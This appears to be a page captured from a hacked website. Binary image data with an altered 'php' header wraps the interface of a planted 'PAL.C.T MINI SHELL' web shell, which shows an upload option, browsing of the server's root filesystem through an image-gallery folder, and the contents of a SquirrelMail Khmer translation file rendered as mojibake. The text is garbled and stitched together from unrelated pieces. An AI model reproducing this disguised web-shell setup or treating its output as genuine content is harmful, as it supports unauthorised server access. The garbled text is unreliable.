‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/naguser.po

# Khmer (km) naguser Translation
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: naguser\n"
"POT-Creation-Date: 2004-05-12 21:10+0300\n"
"PO-Revision-Date: 2009-04-24 09:28+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

msgid "Rules of engagement"
msgstr "ក្បួន​ច្បាប់​នៃ​ការ​ចូល​រួម"

msgid "You have to read and understand program usage rules:"
msgstr "អ្នក​ážáŸ’រូវ​ážáŸ‚​អាន និង​យល់​អំពី​​ក្បួន​នៃ​ការ​ប្រើប្រាស់​កម្មវិធី ៖"

msgid ""
"Your browser does not support inline frames. Please read related document by "
"checking usage instructions."
msgstr "កម្មវិធី​រុករក​របស់​អ្នក មិន​គាំទ្រ​នឹង​ស៊ុម​ក្នុង​ážáž½â€‹áž‘áŸÂ áŸ” សូម​អាន​ឯកសារ​ដែល​ទាក់ទង ដោយ​ពិនិážáŸ’យ​មើល​សáŸáž…ក្ដី​ណែនាំ​នៃ​ការ​ប្រើប្រាស់ ។"

msgid "Usage instructions"
msgstr "សáŸáž…ក្ដី​ណែនាំ​អំពី​ការ​ប្រើប្រាស់"

msgid "Yes, I understand"
msgstr "បាទ​/​ចាស ážáŸ’ញុំ​យល់​ហើយ"

msgid "Terms of service"
msgstr "លក្ážážážŽáŸ’ឌ​របស់​សáŸážœáž¶"

msgid ""
"URL to usage rules is not available. Please contact your system "
"administrator."
msgstr "មិនមាន URL ទៅកាន់​ក្បួន​នៃ​ការ​ប្រើប្រាស់​ទáŸÂ áŸ” សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

msgid "You can find interface usage rules by following the link."
msgstr "អ្នក​អាច​ស្វែងរក​ក្បួន​ការ​ប្រើប្រាស់​ចំណុចប្រទាក់ ដោយ​ážáŸ†ážŽâ€‹ážáž¶áž„ក្រោម ។"

msgid "Usage rules"
msgstr "ក្បួន​ច្បាប់​នៃ​ការ​ប្រើប្រាស់"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚